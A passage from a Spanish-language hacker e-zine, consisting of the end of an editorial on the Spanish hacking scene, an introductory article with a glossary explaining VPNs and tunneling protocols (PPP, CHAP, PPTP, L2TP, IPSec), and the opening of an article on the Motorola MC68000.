imposible de recuperar. Independientemente de la simpatia que pueda sentir (o
no sentir) por SET, esta claro que eso es un robo en toda regla. Vamos..
que es una putada considerable que no se la deseo ni a mi peor enemigo XD.
Por lo tanto desde aqui expreso mi desacuerdo con los metodos que el tal
'OTT' (persona que firmo la pagina web, http://www.set-ezine.org) ha
utilizado. Ademas, que parece mas un ataque personal que otra cosa.. En fin,
como no queremos avivar mas la polemica, dejaremos que el tiempo ponga las
cosas en su sitio.
Y ya que estamos hablando de otros grupos de la scane espaÒola, pasare a
comentar como veo el panorama desde mi punto de vista personal. Y es que
(espero equivocarme) yo no lo veo nada claro.. Los grupos que prometian y que
iban saliendo no hacen mas que desaparecer, yo no entiendo nada :?. Me estoy
refiriendo por ejemplo a grupos como digitalsec, outlimit, e-n-g, 2500Hz,
jjf, apostols.. Por cierto pido perdon si alguno de los grupos que acabo de
nombrar no ha desaparecido, yo me estoy refiriendo a los que su website ya no
esta activa (o lleva aÒos sin actualizarse, caso de jjf -aunque segun me han
comentado por ahi estan pensando en ponerse manos a la obra otra vez, de lo
que nos alegramos desde aqui-).
Resumiendo el panorama no es muy prometedor (y menos con cosas como lo de SET
y OTT). Menos mal que quedan algunos grupos que aun siguen, y haciendolo muy
bien a mi modo de ver las cosas. Me estoy refiriendo a gente como la de
Hispahack, Undersec o 7a69ezine, a la cual mandamos un saludo desde aqui ;).
Ojala la cosa cambie uno poco de aqui en adelante, porque sino las webs de
calidad de la scene espaÒola se podran contar con los dedos de una mano.. y
eso no es bueno para nadie.
Y nada mas.. que me parece que para este numero me estoy enrollando un poco
mas de la cuenta :). Nos veremos en NetSearch Ezine #7, que saldra.. mm.. en
Octubre/Noviembre mas o menos, estaros atentos a nuestro website:
http://www.netsearch-ezine.com.
Os deseo un feliz verano a tod@s, que lo paseis bien en la playa (piscina
para algunos), y esas cosas ;). Hasta pronto.
El Editor
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
=-[ 0x06 ]-==================================================================
=-[ NetSearch Ezine #6 ]-====================================================
=-[ Redes Privadas Virtuales (VPN) ]-========================================
=-[ por NETb0rg ]-===========================================================
I N D I C E
0 Prologo
1 Introduccion a las VPN
1.1 Usos comunes de una VPN
1.2 Requerimientos basicos de una VPN
2 Conceptos basicos de Tunneling
2.1 Protocolos de Tunneling
2.1.1 Como funciona el Tunneling
2.2 Point-to-Point Protocol (PPP)
2.3 Point-to-Point Tunneling Protocol (PPTP)
2.4 Layer 2 Forwarding (L2F)
2.5 Layer 2 Tunneling Protocol (L2TP)
2.6 Internet Protocol Security (IPSec) Tunnel Mode
2.7 Tipos de tuneles
3 Conclusion
4 Glosario
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[0] P R O L O G O
En este documento intentare explicar el funcionamiento de una Red
Privada Virtual, asi como la descripcion y caracteristicas de los
protocolos utilizados para estos fines. Explicare tambien el con-
cepto de tunneling y el encapsulado de paquetes. De igual manera,
describire el proceso que se lleva a cabo desde que se establece
un tunel hasta que este es terminado.
La mayoria de los ejemplos expuestos en este documento se basan
en la implementacion de Redes Privadas Virtuales sobre Internet,
siendo este medio el mas accesible y economico, pero no el unico.
Este documento esta enfocado al usuario en general, por lo que
puede contener ejemplos o explicaciones demasiado obvias para el
usuario avanzado.
Al final de este articulo inclui un glosario de terminos usados
a lo largo de este documento. Dichas definiciones pueden no ser
tan tecnicas o especificas como algunos pudieran esperar, sino
que son definiciones propias del autor, por lo que se sugiere
consultar esos terminos en caso de tener dudas con respecto a su
definicion.
Puesto que las Redes Privadas Virtuales no es mi especialidad,
este documento podria contener conceptos confusos, por lo que se
sugiere consultar alguna publicacion que el lector considere
cien por ciento confiable en caso de querer aplicar los conceptos
aqui expuestos.
El Autor
root@hackingzone.org
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[1] I N T R O D U C C I O N
Una Red Privada Virtual (VPN, Virtual Private Network) nos permite
conectar los componentes de una red sobre otra red, simulando un enlace
privado dedicado entre los extremos de la VPN, permitiendo de esta
manera que un usuario remoto, que se encuentre de viaje en cualquier
parte del mundo, o una oficina que se encuentre en otra localidad, puedan
conectarse a su red corporativa utilizando la infraestructura de una red
publica, tal como Internet. (Fig. 1)
_____ _____
/____/| . . . . . /____/|
| ||| . . . | |||
| || ________ . . ________ | ||
|_____|/| /______/| . INTERNET . /______/| |_____|/|
|_____|/ | | | . . | | | |_____|/
| | . -- | | . . | . -- | | |
___|___________| . -- | |##########################| . -- | |_____|_________
__|__ | . -- | | . /\ . | . -- | | __|__
/____/| | . -- | | . \ . | . -- | | /____/|
| ||| | . -- | | . . \ . | . -- | | | |||
| || |______|/ . . \ . |______|/ | ||
|_____|/| . . . . . . \ |_____|/|
|_____|/ \ |_____|/
Red Privada Virtual
Fig. 1: Red Privada Virtual
1.1 Usos comunes de una VPN
- Acesso de un usuario remoto sobre Internet.
Una VPN permite el acceso remoto a recursos corporativos sobre una red
publica (de aqui en adelante, Internet). En lugar de conectarse con su
modem haciendo una llamada de larga distancia, el usuario solo debe
marcar a su ISP local. Una vez conectado a Internet, el software VPN
del usuario creara una red privada virtual entre su equipo de computo
y el servidor VPN corporativo a traves de Internet.
- Conexion de redes sobre Internet.
Es posible tambien implementar una VPN para conectar oficinas externas
situadas en diferentes ciudades, a la red corporativa, evitando con
esto la necesidad de un circuito dedicado como Frame Relay, por citar
solo uno. Por ejemplo, aca en Mexico, tenemos frontera con los Estados
Unidos, lo cual obliga a las empresas ubicadas en la region fronteriza a
utilizar soluciones basadas en microondas para enlazar sus redes usando
alguna solucion como Frame Relay, por ejemplo, lo cual requiere invertir
una buena cantidad de dinero en equipo de comunicaciones. En cambio, si
se implementa una VPN solo necesitariamos una linea dedicada a un ISP y
lo necesario para montar la VPN (servidores VPN, enrutadores, etc.)
La oficina que quisiera establecer una conexion con la red corporativa
no necesariamente tendria que utilizar una linea dedicada a su ISP,
pues tambien podria realizar la conexion utilizando dial-up. No es lo
ideal, pero es posible hacerlo. Sin embargo, el servidor VPN deberia
estar conectado a Internet utilizando un enlace dedicado, para que
pueda estar escuchando trafico VPN las 24 horas.
(A proposito, yo no se que tan bien funcionen las conexiones dial-up
alla en EspaÒa, pero aca en Mexico son verdaderamente pateticas) }:/
Como nota adicional, es posible tambien, debido a su flexibilidad,
implementar una VPN sobre la misma LAN corporativa. Para entenderlo,
veamos el siguiente ejemplo:
Es comun ver que en algunas empresas, su departamento donde manejan
informacion critica o confidencial, esta aislado del resto de la red,
es decir, fisicamente desconectado de la red corporativa. Aunque esto
es una medida de seguridad que proteje esa informacion confidencial de
algun incidente que pudiera surgir, provoca al mismo tiempo, un
problema de accesibilidad para los usuarios que no estan fisicamente
conectados a esa red aislada.
Una VPN permitiria entonces a ambas redes estar fisicamente conectadas
pero separadas por un servidor VPN, el cual no actuaria como enrutador
sino como un NAS (Network Access Server), asi mismo permitiria el
acceso solo a aquellos usuarios autorizados. Ademas, todo el trafico
VPN puede ser encriptado para una mayor confidencialidad.
1.2 Requerimientos basicos de una VPN
Pues como bien se sabe, cuando se implementa alguna solucion de este
tipo (conexion entre redes remotas), la empresa debe facilitar el
acceso controlado a los recursos e informacion corporativos, es decir,
solo aquellos usuarios que esten autorizados a hacerlo, pueden acceder
a dichos recursos. Tambien, esta solucion debe permitir que todas las
oficinas o usuarios remotos puedan conectarse unos con otros para
compartir recursos e informacion. Ademas, la solucion debe asegurar la
privacidad e integridad de los datos mientras circulan por Internet o
por la red corporativa.
Aparte de esto, una solucion VPN debe ofrecer, por lo menos, los
siguientes aspectos:
- Autenticacion de usuarios.
La solucion debe verificar la identidad del usuario y restringir el
acceso solo a usuarios autorizados, ademas de llevar un registro que
muestre quien accedio, que informacion, y cuando.
- Manejo de direcciones.
La solucion debe asignar una direccion cliente en la red privada y
asegurar la privacidad de esta direccion.
- Cifrado de datos.
La solucion debe encriptar los datos en transito para hacerlos
ilegibles a usuarios no autorizados en la red.
- Manejo de claves.
La solucion debe generar y actualizar las claves de cifrado para el
cliente y el servidor.
- Soporte multiprotocolo.
La solucion debe manejar protocolos comunes usados en la red publica
por ejemplo, IP, IPX, etc.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[2] C O N C E P T O S B A S I C O S D E T U N N E L I N G
Tunneling es un metodo que consiste en utilizar la infraestructura de
una interred (como Internet), para transportar datos de una red a otra.
Los datos a ser transportados pueden ser los cuadros (o paquetes) de un
protocolo diferente al que maneje la interred en cuestion, es decir, en
lugar de enviar un cuadro tal y como fue producido por el nodo que lo
origino, el protocolo de tunneling (ya sea L2TP, IPSec, etc) encapsula el
cuadro en un header (encabezado) adicional que pertenece al protocolo de
transporte de la interred sobre la cual se establece el tunel (por
ejemplo, IP).
Los paquetes encapsulados son entonces enrutados sobre la interred entre
los extremos del tunel. A esa ruta logica a travez de la cual viajan los
paquetes encapsulados sobre la interred se le llama 'tunel'.
Cuando los paquetes (o cuadros) encapsulados llegan a su destino, el
cuadro (o paquete :-P) es desencapsulado y reenviado a su destino final.
Si alguna vez has trabajado con Novell NetWare o por lo menos has visto
como funciona esto lo vas a entender muy facil ;-).
Supongamos que tenemos un cliente y un servidor NetWare. Como es bien
sabido, el protocolo de transporte de NetWare es el IPX.
Bien, supongamos que ambos, cliente y servidor, se encuentran en
ciudades diferentes. Ambos estan conectados a una interred IP. A simple
vista, esto es incompatible, pues no es posible enviar paquetes IPX
sobre IP.
Entonces como se hace? Pues el cliente envia un paquete IPX al servidor
que esta en otra ciudad, pero para que ese paquete salga, pasa por el
enrutador local, el cual encapsula el paquete IPX en un paquete IP, es
decir, al paquete IPX le agrega un header IP y listo: ahora es un
paquete IP.
En seguida, el paquete, que ahora es IP, viaja por la interred IP hasta
llegar al otro enrutador.
Al llegar el paquete IP al otro enrutador, este lo recibe y le quita el
header IP, es decir, lo desencapsula. A continuacion, reenvia el paquete
(que ahora es un paquete IPX) a su destino: el servidor NetWare :-)
Weno, pues yo considero este ejemplo demasiado claro y espero que haya
quedado bien entendido el concepto de Tunneling. Ver fig. 2
. . . . . . .
Router 1 . . . Router 2
_____ . Interred IP . _____
/____/| ______________________________ /____/|
_____ | || /\ __________ \ | || _____
|_____| |____|| | | Tunel |______|___| ---> | |____|| |_____|
IPX |____|/ \/______________/_____ \ ______/ |____|/ IPX
. / \ .
. / . \
. / . . . Encabezado IP
Paquete IPX encapsulado /
Fig. 2: Concepto teorico de Tunneling. En este ejemplo, el primer
enrutador recibe un paquete IPX, lo encapsula en un encabezado
IP; lo envia a traves de una interred IP. Al recibir el paquete
el segundo enrutador lo desencapsula quitandole el encabezado
IP y lo reenvia a su destino final, ahora como un paquete IPX.
Algunos protocolos utilizados para tunneling son:
- Point-to-Point Tunneling Protocol (PPTP). Permite que el trafico IP,
IPX o NetBEUI sea encriptado y encapsulado en encabezados IP para ser
enviado a traves de una interred IP como Internet. Este pedazo de
protocolo fue creado nada mas y nada menos que por micro$oft :-P
(ver http://poptop.lineo.com/ para una implementacion PPTP open
source).
- Layer 2 Tunneling Protocol (L2TP). Permite que el trafico IP o IPX
sea encriptado y enviado sobre cualquier medio que soporte entrega de
datragramas punto-a-punto, tales como IP, X.25, Frame Relay o ATM
- IP Security (IPSec) Tunnel Mode. Permite que paquetes IP sean
encriptados y encapsulados en encabezados IP para ser enviados a
traves de una interred IP.
En resumen:
Durante el tunneling, los paquetes del protocolo ABC se encapsulan en
paquetes del protocolo XYZ para poder ser enviados a travez de una
interred XYZ. Al llegar estos paquetes, son desencapsulados y reenvia a
su destino final como paquetes ABC (*).
Cabe hacer la aclaracion que no necesariamente los paquetes procesados
por el protocolo de tunneling tienen que ser diferentes al protocolo de
la interred, tal es el caso de IP-sobre-IP y de IPSec, que encapsulan
paquetes IP para posteriormente ser transportados sobre una red IP.
* Los protocolos ABC y XYZ son meramente ficticios, asi que, si usted se
cree un guru en redes, no se sienta frustrado por no conocerlos xDD.
2.1 Protocolos de Tunneling
Para que un tunel sea establecido, ambos, el cliente tunel y el
servidor tunel, deben usar el mismo protocolo de tunneling.
La tecnologia de tunneling puede basarse en un protocolo de tunneling,
ya sea de Layer 2 o de Layer 3. (Si conoces el Modelo de Referencia
OSI no habra ningun problema para entender esto, si no, leete el OSI
Reference Model antes de continuar con este arti :-P ).
Basandonos en el modelo OSI, los protocolos Layer 2, que corresponden
a la capa de enlace de datos, usan cuadros (frames) como unidad de
intercambio. PPTP, L2TP y L2F son protocolos de tunneling Layer 2.
Ambos encapsulan los datos en cuadros PPP para ser enviados a traves
de una interred.
Los protocolos Layer 3, que corresponden a la capa de red, utilizan
paquetes (packets) como unidad de intercambio. IPoIP y IPSec Tunnel
Mode son ejemplos de protocolos de tunneling Layer 3. Ambos encapsulan
paquetes IP en un encabezado IP adicional antes de ser enviados a
traves de una interred IP.
Ahora se entiende por que decia "paquetes (o cuadros)" y "cuadros (o
paquetes)"?.
2.1.1 Como funciona el tunneling
Si, si, ya se que ya lo explique y que quedo perfectamente bien
entendido, solo que hay que explicar como funciona el tunneling
cuando se utilizan protocolos Layer 2 y como, cuando se utilizan
protocolos Layer 3.
En el caso de las implementaciones VPN basadas en Layer 2, tales
como PPTP y L2TP, el tunel es similar a una sesion, es decir, ambos
extremos del tunel deben negociar ciertas variables tales como
asignacion de direccion o parametros de cifrado o compresion.
En las implementaciones Layer 3, por el contrario, se asume que toda
la configuracion ha sido resuelta con anterioridad. Para estos
protocolos el tunel no se mantiene. Para los protocolos Layer 2, sin
embargo, un tunel debe ser creado, mantenido y terminado.
Una vez que el tunel es establecido, los datos pueden ser enviados.
2.2 Point-to-Point Protocol
Debido a que los protocolos Layer 2 dependen enormemente de las
caracteristicas especificadas para PPP, vamos a ver un poco mas a
detalle este protocolo.
PPP fue diseÒado para enviar datos a traves de conexiones dial-up o a
traves de enlaces dedicados punto-a-punto. PPP encapsula paquetes IP,
IPX y NetBEUI dentro de cuadros PPP, para posteriormente transmitir
los paquetes PPP encapsulados a traves de un enlace punto-a-punto.
El protocolo utilizado entre un modem y un NAS (Network Access Server)
es el PPP.
Existen ciertas fases de negociacion en una sesion PPP por dial-up,
que tienen que completarse antes de que la conexion PPP este lista
para transferir datos.
Fase 1: Creacion del enlace PPP
PPP utiliza LCP (Link Control Protocol) para establecer, mantener,
y terminar la conexion. Durante esta fase se definen los protocolos
de autenticacion que seran utilizados para autenticar al usuario,
pero no se implementan sino hasta la siguiente fase. Es en esta
primera fase donde se decide tambien cual de los dos equipos
negociara el uso de compresion y/o cifrado.
Fase 2: Autenticacion del usuario
En esta fase, la computadora cliente se autentica con el RAS.
La mayoria de las implementaciones PPP utilizan los siguientes
protocolos para autenticacion:
- Password Authentication Protocol (PAP)
- Challenge-Handshake Authentication Protocol (CHAP)
El protocolo PAP ofrece una autenticacion de lo mas sencilla,
basada en texto simple. El NAS solicita al cliente su nombre de
usuario y su password y PAP los devuelve en texto simple, es decir,
sin ser cifrados. Je, je... es obvio que esto no tiene nada de
seguro, puesto que algun jaquerrr podria andar por ahi sniffeando
y hacerse con el username y el password sin mayor dificultad :-P.
Por el contrario, el protocolo CHAP ofrece un mayor grado de
seguridad, debido a que el password del usuario nunca viaja, ni
siquiera cifrado, durante la sesion PPP.
CHAP funciona de la siguiente manera: Cuando durante la primera fase
ambos, cliente y servidor, acuerdan utilizar CHAP como protocolo de
autenticacion, el NAS envia un 'desafio' al cliente remoto. Este
desafio consiste en un ID de sesion y una cadena arbitraria de
caracteres (desafio). El cliente remoto debera utilizar MD5 para
responder al servidor con el nombre de usuario y una encriptacion
del desafio, ID de sesion y su password. El nombre de usuario es
enviado sin cifrar. Las siguientes ecuaciones pueden ayudar a
entender esto:
desafio = id_sesion, cadena_desafio
respuesta = MD5(id_sesion, cadena_desafio, password), nombre_usuario
Como se aprecia claramente, el password nunca viaja, ni siquiera
cifrado, durante la sesion, sino que es utilizado para un crear un
hash del desafio original. El servidor conoce el password del
usuario, por lo que al momento de recibir la respuesta del cliente
remoto, realiza la misma operacion con el desafio enviado y procede
a comparar el resultado con la respuesta del cliente. En caso de no
coincidir, el servidor niega la conexion con el cliente.
Otra caracteristica interesante de CHAP es que, una vez establecida
una sesion, el servidor continua enviando desafios al cliente en
periodos de tiempo arbitrarios, lo cual protege la sesion contra un
posible ataque de spoofing.
Weno, pues ya para finalizar con esta fase 2: una vez que el NAS
obtiene los datos de autenticacion, los valida contra su propia base
de datos o contra un servidor central de autenticacion, por ejemplo,
un servidor RADIUS (Remote Authentication Dial-In User Service).
Fase 3: Invocando los protocolos de red
Una vez que las fases anteriores han sido completadas, PPP invoca
los protocolos de control que fueron seleccionados durante la fase 1
para configurar los protocolos utilizados por el cliente remoto.
Por ejemplo, durante esta fase el IPCP (IP Control Protocol) puede
asignar una direccion dinamica al usuario remoto.
Una vez que estas fases han sido completadas, PPP comienza a
transmitir datos desde y hacia los dos puntos de la conexion. Cada
paquete transmitido es encapsulado en un encabezado PPP el cual es
removido por el receptor.
Si la compresion de datos fue seleccionada durante la fase 1, los datos
son comprimidos antes de transmitirlos. Tambien, si el cifrado fue
seleccionado durante la fase 1, entonces los datos son encriptados
antes de ser transmitidos.
En resumen, esto es lo que sucede desde el momento que nos conectamos
a nuestro ISP usando un modem y hasta que damos por terminada la
conexion (o nos desconectan xDD).
2.3 Point-to-Point Tunneling Protocol (PPTP)
PPTP es un protocolo Layer 2 que encapsula cuadros PPP en datagramas
IP para ser transportados sobre una interred IP, como Internet.
Como ya mencione en lineas anteriores, PPTP es una mas de las creaciones
de micro$oft.
2.4 Layer 2 Forwarding (L2F)
L2F es un protocolo de transmision que permite a un servidor dial-up
encuadrar trafico dial-up en PPP y transmitirlo sobre vinculos WAN a
un servidor L2F. Este servidor desencapsula los paquetes y los inyecta
a la red. En contraste con PPTP y L2TP, L2F no tiene un cliente
definido. L2F es una tecnologia propuesta por Cisco.
2.5 Layer 2 Tunneling Protocol (L2TP)
L2TP es una combinacion de PPTP y L2F que encapsula cuadros PPP para
ser enviados sobre redes IP, X.25, Frame Relay o ATM. Cuando se
configura para usar IP, L2TP puede ser usado como protocolo de
tunneling sobre Internet, aunque tambien puede ser usado directamente
sobre una WAN (como Frame Relay) sin una capa IP de transporte. L2TP
sobre interredes IP hace uso de UDP para mantener el tunel.
En vista de que PPTP y L2TP son muy similares, debemos hacer notar
cuales son las diferencias entre ambos:
- PPTP requiere forzosamente de una interred IP. L2TP solamente
requiere que el medio de tunneling ofrezca conectividad
punto-a-punto basada en paquetes, tales como IP (usando UDP),
Frame Relay, X.25 o ATM.
- PPTP solo puede soportar un tunel entre ambos extremos. L2TP, por
el contrario, permite el uso de multiples tuneles entre los
extremos.
- L2TP proporciona opcionalmente compresion de encabezados.
- L2TP ofrece autenticacion de tunel, mientras que PPTP no. Si
cualquiera de estos protocolos es usado sobre IPSec, la
autenticacion de tunel es proporcionada por IPSec, por lo cual la
autenticacion de tunel Layer 2 no es necesaria.
2.6 IPSec Tunnel Mode
IPSec es un protocolo Layer 3 que soporta la transferencia segura de
informacion a traves de una interred IP. IPSec define el formato de
paquetes para una modalidad de tunel IP-sobre-IP, llamada IPSec Tunnel
Mode. Un tunel IPSec consiste en un cliente tunel y un servidor tunel,
los cuales estan configurados para usar tunneling IPSec y algun
mecanismo de cifrado.
IPSec Tunnel Mode utiliza un metodo de seguridad para encapsular y
encriptar paquetes IP para transmitirlos de forma segura a traves de
una interred IP privada o publica (si, ya saben, como Internet :-P)
Los datos encriptados son vueltos a encapsular en un encabezado IP y
enviados a la interred para ser entregados al otro extremo del tunel.
Una vez recibido el datagrama, el servidor tunel descarta el
encabezado IP y desencripta el contenido del paquete para recuperar
el paquete IP original. Este paquete, a su vez, es procesado
normalmente y enrutado a su destino final.
Pues el concepto es muy simple: solo se trata de paquetes IP cifrados
que viajan como datos de usuario dentro de paquetes IP convencionales.
Asi de sencillo :-).
Todo esto del IPSec suena bien, solo hay que mencionar que IPSec
soporta unicamente trafico IP.
2.7 Tipos de tuneles
Tuneles voluntarios: es cuando al establecer un tunel, la computadora
cliente se convierte en un extremo del tunel y actua como cliente
tunel. Los tuneles voluntarios requieren una conexion IP.
Tuneles obligatorios: es cuando, al establecer un tunel, la compu
del usuario no es un extremo del tunel, sino que el RAS del ISP, que
se encuentra entre el usuario y el servidor tunel, actua como cliente
tunel. (Fig. 3)
Este RAS, que proporciona el tunel para el cliente, es conocido como:
- FrontEnd Processor (FEP), en PPTP
- L2TP Access Concentrator (LAC), en L2TP
- IP Security Gateway, en IPSec
Cliente Cliente Tunel . . . . . Servidor Tunel
Dial-up _________ . . . _____ |
_____ /________/| . Internet . /____/| |--
/____/| | - | -- || . . | --|| |
| || ___ | - | -- || . . | --||---| LAN
|____|/| /___ | - | -- || ________________________ | --|| |
|____|/ PPP | - | -- || ()_______________________) |____|| |--
|___|____|/ . Tunel . |____|/ |
ISP . . .
(FEP) . . . .
Fig. 3: Tunel obligatorio. El usuario se conecta a su ISP utilizando
PPP. Una vez establecida la conexion. El ISP se convierte en un
extremo del tunel y actua como cliente tunel.
A diferencia de los tuneles voluntarios, un tunel obligatorio puede
ser compartido por varios clientes dial-up. Cuando un segundo cliente
marca al FEP, ya no es necesario crear un nuevo tunel entre el FEP y
el servidor tunel, sino que el trafico desde y hacia el nuevo cliente
es transportado a traves del tunel existente. Debido a esto, el tunel
no puede ser terminado sino hasta que el ultimo usuario del tunel se
desconecte.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[3] C O N C L U S I O N
Weno, pues espero que todo haya quedado bien claro, y por ultimo, voy a
resumir todo lo anterior en unas cuantas liniecillas :-P.
Recordemos que una VPN conecta los componentes de una red sobre otra
red, independientemente del protocolo que esta red utilice para el
transporte de datos (usualmente, IP). Una VPN simula un enlace
privado entre los extremos de la misma.
Para realizar todo esto, se utiliza una tecnica llamada tunneling
que consiste en encapsular los paquetes (o cuadros) de determinado
protocolo (IP, IPX, etc) en paquetes (o cuadros) de la interred
sobre la cual va a ser establecido el tunel.
El encapsulado consiste unicamente en agregar el encabezado del
protocolo de la interred (usualmente, un encabezado IP), al paquete
del protocolo de la red que lo origino (por ejemplo, IPX).
El tunneling puede estar basado en protocolos Layer 2 tales como
PPTP, L2TP o L2F, o estar basado en protocolos Layer 3 tales como
IPoIP o IPSec.
Todos los protocolos Layer 2 estan basados en PPP, que es el mismo
protocolo utilizado entre nuestra computadora y nuestro ISP cuando
nos conectamos a Internet usando un modem telefonico.
IPSec es un protocolo Layer 3 que encripta paquetes IP dentro de
paquetes IP para ser enviados de forma segura a traves de una
interred privada o publica. IPSec solo funciona sobre interredes
IP.
El tunel entre un cliente remoto y un servidor VPN puede ser
voluntario u obligatorio.
Cuando es voluntario, la computadora del usuario es un extremo del
tunel, el cual actua como cliente tunel.
Cuando es obligatorio, el usuario marca a su ISP, el cual establece
el tunel con el servidor VPN. De esta manera, el ISP llega a ser un
extremo del tunel y a su vez, actua como cliente tunel.
En el caso de un tunel obligatorio, varios usuarios puede compartir
el tunel establecido entre el FEP y el servidor VPN.
Weno, pues es todo por esta vez. Nos vemos en el proximo e-zine ;-).
Espero que les haya gustado el arti, a pesar de ser muy basico :-).
Joer, tambien espero pronto pillar el acento espaÒol pa que molen
los artis xDD.
Weno, pos salu2 a tod@s :-).
Un saludote tambien a los compatriotas de Raza Mexicana y a X-ploit ;-).
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[4] G L O S A R I O
ATM (Asynchronous Transfer Mode): Tecnologia WAN basada en conmutadores
de celulas (nada que ver con biologia :-P).
Autenticacion: Accion de verificar que determinado usuario es quien dice
ser, efectuando para ello, ciertos procedimientos que dependen
del tipo de autenticacion.
CHAP (Challenge-Handshaking Authentication Protocol): Protocolo usado
por PPP para autenticar al usuario frente a un RAS. El
servidor le envia al cliente un desafio el cual tiene que ser
contestado para ser autorizado.
Cifrado: Metodo por medio del cual los datos son desordenados de tal
forma que parezcan legibles solo a quien esta autorizado.
Dial-up Connection: Cualquier conexion entre un modem y un RAS.
E1: Estandar de transmision a 2.048 Mbps.
Encabezado (header): Parte que es agregada a los datos que se van a
transmitir para formar un paquete o cuadro. El encabezado
contiene informacion de enrutamiento tal como la direccion
de red del remitente, la direccion del destinatario, etc.
Encapsular: Poner a un paquete de determinado protocolo, un encabezado
de otro protocolo (o del mismo), para asi poder ser enviado
a traves de una interred. Cuando digo "o del mismo", me
refiero a tecnicas como IP-sobre-IP o IPSec que encapsulan
paquetes IP en encabezados IP.
Enlace dedicado: Una conexion permanente entre una red y un proveedor
de servicios. La conexion digital entre una red y un ISP es
un ejemplo de enlace dedicado.
Enrutador (Router): Dispositivo de hardware utilizado para unir las redes
locales para formar una WAN.
FEP (FrontEnd Processor): En un tunel obligatorio basado en PPTP, se
refiere al dispositivo encargado de crear el tunel entre este
y el servidor VPN para que el usuario remoto pueda hacer uso
de el. En el caso de L2TP, este dispositivo seria un LAC (L2TP
Access Concentrator). En el caso de IPSec, un IPSec Gateway.
Frame Relay: Protocolo de conmutacion de paquetes para conectar
dispositivos sobre una WAN. (no estoy bien puesto es esto, asi
que si no es, mil disculpas :-P).
Interred (Internetwork): Una red constituida por la union de varias
redes. El ejemplo mas claro es Internet.
IPSec (IP Security): Es un protocolo Layer 3 desarrollado para funcionar
unicamente sobre redes IP. IPSec encripta paquetes IP y los
encapsula en encabezados IP para ser enviados a traves de una
interred IP. El concepto es similar a IPoIP.
IPX (Internet Packet eXchange): Protocolo desarrollado por Novell para el
uso en redes NetWare.
ISP (Internet Service Provider): Proveedor de servicios que cuenta con
la infraestructura necesaria para ofrecer acceso a Internet.
L2F (Layer 2 Forwarding): Tecnologia propuesta por Cisco que permite a un
servidor encuadrar trafico dial-up en PPP y transmitirlo sobre
una WAN hacia un servidor L2F. L2F no tiene un cliente
definido, sino que inyecta los paquetes a la red una vez que
han sido desencapsulados. L2F solo funciona con tuneles
obligatorios.
L2TP (Layer 2 Tunneling Protocol): Es una combinacion de PPTP y L2F que
encapsula cuadros PPP para ser enviados sobre redes IP, X.25,
Frame Relay, o ATM. L2TP soporta compresion y cifrado.
Layer 2 (Capa 2): Capa de Enlace de Datos del Modelo de Referencia OSI.
Los protocolos que pertenecen a esta capa, utilizan cuadros
(frames) como unidad de intercambio.
Layer 3 (Capa 3): Capa de Red del Modelo OSI. Los protocolos de esta
capa utilizan paquetes (packets) como unidad de intercambio.
LCP (Link Control Protocol): Protocolo utilizado por PPP para iniciar,
mantener y terminar una conexion.
MD5: Algoritmo de resumen que genera una huella digital de 128 bits con
base en una entrada determinada (mirate el RFC 1321).
Modelo de Referencia OSI (Open Systems Interconnection Reference Model)
Modelo que define las 7 capas en una red.
NAS (Network Access Server): Servidor que le permite a un usuario remoto
establecer una conexion con una red corporativa. Concepto muy
similar a RAS (Remote Access Server).
NetBEUI (NetBios Enhanced User Interface): Mejora del NetBIOS usado por
algunos NOS tales como LAN Manager (IBM), Windoz (micro$oft).
NOS (Network Operating System): Eso mismo :-P.
PAP (Password Authentication Protocol): Protocolo de autenticacion
utilizado por PPP, que consiste en identificar al usuario
frente a un servidor, enviando solamente el user name y el
password en texto simple.
Point-to-Point Connection (Conexion punto-a-punto): Cualquier conexion
en la que dos equipos remotos establecen un enlace. El mejor
ejemplo es el tipico usuario que se conecta a Internet
utilizando un modem telefonico.
PPTP (Point-to-Point Tunneling Protocol): Protocolo Layer 2 que
encapsula cuadros PPP en datagramas IP para ser transportados
sobre una red IP. PPTP soporta compresion y cifrado.
RADIUS (Remote Authentication Dial-In Service): Protocolo de
autenticacion remota basado en UDP. Un servidor RADIUS puede
estar localizado en cualquier parte de Internet y dar soporte
de autenticacion a determinado NAS.
Red Publica: Cualquier red en la que el acceso este disponible para
cualquier usuario de cualquier parte del mundo. Por ejemplo,
Internet.
Spoofing: Tecnica de hacking que consiste en hacerse pasar por un
un usuario legitimo manipulando una sesion.
T1: Estandar de transmision a 1.544Mbps
Tunel: Enlace logico por el cual se transmiten paquetes encapsulados
durante una sesion VPN.
Tunel obligatorio: Aquel donde el cliente tunel es un FEP (por ejemplo,
un ISP) el cual actua como extremo del tunel. Un tunel de este
tipo puede ser compartido por varios usuarios simultaneamente.
Tunel voluntario: Aquel donde el cliente tunel es la propia computadora
del usuario, la cual a su vez actua como extremo del tunel.
Tunneling: Tecnica de transporte de paquetes o cuadros de determinado
protocolo sobre una red de un protocolo diferente (o igual)
mediante el encapsulado y desencapsulado de paquetes.
UDP (User Datagram Protocolo): Protocolo de transporte sin conexiones
que, a diferencia de otros, no requiere iniciar una conexion
para enviar un datagrama.
VPN (Virtual Private Network): Red Privada Virtual es una red montada
logicamente sobre otra red utilizando tunneling.
WAN (Wide Area Network): Una red constituida por la union de varias
redes locales (LAN) por medio de enrutadores. Una WAN puede
conectar varias LAN independientemente de su topologia de red
(Ethernet, Token Ring, etc.)
X.25: Tipo de WAN desarrollada por los aÒos 70 formada por la conexion
de dos o mas conmutadores de paquetes.
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
=-[ 0x07 ]-==================================================================
=-[ NetSearch Ezine #6 ]-====================================================
=-[ Micro Motorola MC68000 ]-================================================
=-[ por MoebiuZ ]-===========================================================
===== [ Introduccion ]
Buenas.
Esto pretende ser el primero de una serie de articulos (si es que veo
interes y tengo tiempo) sobre Electronica Digital. Voy a intentar enfocarlo
para que cualquiera pueda empezar en este tema. No obstante, dare por hecho
ciertos conocimientos basicos sobre informatica (numeracion hexadecimal,
binaria,...).
Bien, la electronica digital es un tema muy amplio, por tanto esto sera
